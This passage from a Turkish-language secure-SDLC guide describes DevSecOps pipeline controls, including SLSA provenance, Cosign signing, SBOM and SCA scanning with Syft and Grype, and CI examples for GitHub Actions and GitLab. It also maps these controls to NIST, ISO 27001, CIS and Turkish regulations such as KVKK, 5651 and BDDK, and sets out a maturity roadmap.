| SLSA Seviye | Gereksinim | Kurumsal Karşılık |
|---|---|---|
| L1 | Script tabanlı build; temel provenance | CI/CD otomasyonu |
| L2 | Hosted build; imzalı provenance | GitHub Actions / GitLab Runner |
| L3 | Ephemeral izole build; imza anahtarı script’ten ayrık | OIDC + Cosign + Rekor |
Sigstore akışı (GitHub Actions OIDC):
permissions: id-token: write contents: readsteps: - uses: sigstore/cosign-installer@v3 - run: cosign sign-blob --yes sbom.json - uses: slsa-framework/slsa-github-generator@v2VEX (Vulnerability Exploitability Exchange): Grype HIGH bulgusu üretse bile VEX belgesi “bu CVE ürünümüzü etkilemiyor” yanıtını standart biçimde verir; false positive triyajını hızlandırır.
CISA KEV kataloğu, SCA önceliklendirmesinde en üst sinyaldir — KEV’deki CVE için 24 saat remediation SLA uygulanmalıdır.
Pipeline Katmanları
Bölüm başlığı “Pipeline Katmanları”| Aşama | Güvenlik Aktivitesi | Araçlar |
|---|---|---|
| Plan | Politika tanımı | Terrascan, Checkov |
| Code | SAST, secret tarama | Semgrep, Gitleaks |
| Build | SCA, SBOM | Syft, Grype, Trivy |
| Test | DAST, IAST | OWASP ZAP |
| Package | İmaj tarama, imzalama | Trivy, Cosign, Kyverno |
| Run | Runtime izleme | Falco, WAF, SIEM |
Gating stratejisi: Critical/High CVE → build başarısız; SBOM üretimi başarısız → dur; imzalanmamış artifakt → reddedilir.
GitHub Actions Örneği
Bölüm başlığı “GitHub Actions Örneği”name: DevSecOps Pipelineon: [push, pull_request]jobs: security: runs-on: ubuntu-latest permissions: id-token: write contents: read steps: - uses: actions/checkout@v4 - name: SAST (Semgrep) uses: returntocorp/semgrep-action@v1 - name: Secret Scan (Gitleaks) run: gitleaks detect --source . --redact - name: SBOM + SCA (Syft + Grype) run: | syft packages dir:./ -o cyclonedx-json > sbom.json grype sbom:./sbom.json --fail-on high - name: Sign artifact (Cosign) run: cosign sign-blob --yes sbom.json - name: DAST (OWASP ZAP baseline) uses: zaproxy/action-baseline@v0.12.0 with: target: 'https://staging.example.com'GitLab CI Örneği (Özet)
Bölüm başlığı “GitLab CI Örneği (Özet)”stages: [build, test, security_scan, deploy]
gitleaks_secrets_scan: stage: test image: zricethezav/gitleaks:latest script: [gitleaks detect --verbose --source=$CI_PROJECT_DIR --redact] allow_failure: false
sonarqube_sast: stage: security_scan script: - sonar-scanner -Dsonar.qualitygate.wait=true allow_failure: false
trivy_container_scan: stage: security_scan script: - trivy image --exit-code 1 --severity CRITICAL,HIGH my-registry/app:latest allow_failure: falseEk kontroller: pre-commit hooks, IaC tarama, container admission control (Kyverno + cosign), CI/CD action pinning (commit SHA ile sabitleme), HashiCorp Vault ile dinamik secret çekimi.
Bulgular DefectDojo veya Jira’ya aktarılır; SOC’a “bilinen zafiyet + exploit attempt” korelasyonu için beslenir.
IAST ve RASP Pipeline Entegrasyonu
Bölüm başlığı “IAST ve RASP Pipeline Entegrasyonu”Contrast Security (IAST) — JVM ajan enjeksiyonu:
# Test ortamında IAST ajanı ile integration testjava -javaagent:/opt/contrast/contrast.jar \ -Dcontrast.application.name=my-app \ -Dcontrast.server.name=staging \ -jar target/my-app.jar
# IAST bulguları Contrast dashboard'a akar; CI webhook ile pipeline failcurl -s -H "Authorization: $CONTRAST_API_KEY" \ "https://contrast.internal/api/v1/applications/my-app/vulnerabilities?severity=HIGH" \ | jq '.vulnerabilities | length' | xargs -I{} test {} -eq 0RASP dağıtım kararı matrisi:
| Kriter | IAST (QA) | RASP (Prod) |
|---|---|---|
| Ortam | Test/Staging | Üretim (seçili servisler) |
| Performans etkisi | Orta (%5–15 overhead) | Orta-yüksek |
| Business logic görünürlüğü | Tam | Tam |
| Bloklama yeteneği | Raporlama | Gerçek zamanlı blok |
| Öncelik | Tüm modüller | Ödeme, kimlik, PII işleyen |
Pipeline Metrikleri ve SOC KPI’ları
Bölüm başlığı “Pipeline Metrikleri ve SOC KPI’ları”| Metrik | Hedef | Ölçüm Kaynağı |
|---|---|---|
| SAST scan süresi (PR) | < 5 dk | CI/CD log |
| DAST scan süresi (sürüm) | < 30 dk (baseline) | ZAP raporu |
| SCA Critical CVE (açık) | 0 (KEV listesi) | Grype/Snyk |
| SBOM üretim oranı | %100 build | Syft artifact |
| Quality gate pass rate | > %95 | SonarQube |
| Mean Time to Remediate (Critical) | < 24 saat | DefectDojo/Jira |
| False positive oranı (SAST) | < %10 | Triyaj logları |
§10.1.5.Uluslararası Standart ve Türkiye Mevzuatı Uyumu
Bölüm başlığı “§10.1.5.Uluslararası Standart ve Türkiye Mevzuatı Uyumu”| Kontrol | NIST SP 800-53 | ISO 27001:2022 | CIS v8 | Türkiye |
|---|---|---|---|---|
| Shift-Left / Tehdit Modelleme | SA-8, SA-11 | A.8.25 | 16.1 | BDDK Md. 20 |
| SAST / IAST | SA-11 | A.8.29 | 16.2 | BDDK Md. 23 |
| SCA / SBOM | SA-12, SR-3 | A.5.19–23 | 16.4–16.6 | KVKK veri güvenliği |
| CI/CD Otomasyon | CM-3 | A.8.19 | 16.5 | BDDK sürekli test |
| Loglama / SOC | SI-4, AU-6 | A.8.15–16 | 8.x | 5651, KVKK |
KVKK (6698)
Bölüm başlığı “KVKK (6698)”Kişisel veri işleyen yazılımlarda veri minimizasyonu, şifreleme ve loglama zorunludur. Loglar IP, kullanıcı ID içerebilir; KVKK m.5/2-a ve m.5/2-ç kapsamında hukuki yükümlülük nedeniyle açık rıza gerekmez, ancak aydınlatma metni zorunludur. SOC analistleri için veri maskeleme ve çift yetki (dual control) uygulanmalıdır.
5651 Sayılı Kanun
Bölüm başlığı “5651 Sayılı Kanun”İnternet erişimi sağlayan kurumlar trafik bilgilerini en az 1 yıl saklar. Yönetmelik, dosya bütünlük değerlerinin 5070’e dayalı zaman damgası ile korunmasını şart koşar. Sadece hash yeterli değildir; yasal geçerli zaman damgası (TÜBİTAK KAMU SM vb.) gereklidir.
Finans sektöründe güvenli yazılım geliştirme (Md. 20), sürekli güvenlik testleri (Md. 23), denetim izlerinin asgari 3 yıl saklanması zorunludur. TCMB tebliğinde denetim izleri en az 10 yıl; SPK tebliğinde asgari 5 yıl saklanır.
§10.1.6.Mimari Tavsiyeler ve Olgunluk Yol Haritası
Bölüm başlığı “§10.1.6.Mimari Tavsiyeler ve Olgunluk Yol Haritası”Hemen (0–30 gün)
Bölüm başlığı “Hemen (0–30 gün)”- OWASP Top 10:2025’e göre tarama kurallarını güncelleyin (A03 Supply Chain, A10 Exceptional Conditions)
- CI/CD’de
grype --fail-on highve SBOM üretimini bloklayıcı kapı yapın - SIEM zaman damgası ve NTP senkronizasyonunu doğrulayın
Kısa Vade (30–90 gün)
Bölüm başlığı “Kısa Vade (30–90 gün)”- SLSA Level 3 provenance (OIDC + Cosign + Rekor)
- OWASP Dependency-Track ile sürekli SBOM izleme + VEX
- Tehdit modellemeyi (STRIDE/PASTA) tasarım sürecine kalıcı entegre edin
Orta Vade (90–180 gün)
Bölüm başlığı “Orta Vade (90–180 gün)”- DefectDojo ile çoklu araç bulgu birleştirme
- Merkezi SIEM’i 5651/KVKK/BDDK saklama süreleriyle yapılandırın
- OWASP SAMM Level 2+ olgunluk hedefi
Remediation SLA Eşikleri
Bölüm başlığı “Remediation SLA Eşikleri”| Severity | SLA | Tetikleyici |
|---|---|---|
| Critical (KEV) | 24 saat | CISA KEV listesi |
| High | 7 gün | Grype/Snyk taraması |
| Medium | 30 gün | Sprint planlama |
OWASP SAMM Olgunluk Hedefi
Bölüm başlığı “OWASP SAMM Olgunluk Hedefi”| Seviye | Kriterler |
|---|---|
| Level 2 | Tehdit modelleme zorunlu, SAST+SCA pipeline’da, SBOM üretiliyor |
| Level 3 | IAST+DAST otomatik, signed SBOM+VEX, SOC korelasyonu |
Uygulama güvenliği tek bir araç veya “son kontrol” değildir. Shift-Left + tehdit modelleme + katmanlı test (SAST/IAST/DAST) + SCA/SBOM + imzalı provenance ile hem önleyici hem tespit edici katmanlar oluşturulur. Bu yapı NIST SSDF, OWASP SAMM, CIS Controls v8 ve Türkiye yasal yükümlülükleriyle uyumlu, ölçülebilir ve denetlenebilir bir Secure SDLC sağlar.
Güvenlik bir araç seti değil, kültür ve mühendislik disiplinidir. SDLC’nin DNA’sına işlenmiş güvenlik; SOC’un proaktif çalışmasını, tedarik zinciri şeffaflığını ve yasal uyumu aynı mimaride birleştirir.
Pipeline’da yakalanamayan runtime tehditleri için §10.2 web/API güvenliği ve WAF katmanları; izolasyon modeli farklı olan iş yükleri için §10.3 sunucusuz mimari güvenliği tamamlayıcı savunma hatlarını oluşturur.
Ağ Yönetimi ve Güvenliği
TCP/IP ve QUIC protokol anatomisi, BGP/RPKI yönlendirme güvenliği, Suricata IDS/IPS sistemleri, SASE & SD-WAN mimarisi ve NetDevOps otomasyonu.
© 2026 Yusuf Talha ARABACI. Bu eser CC BY 4.0 lisansı ile lisanslanmıştır; atıf yapılarak serbestçe kullanılabilir ve paylaşılabilir.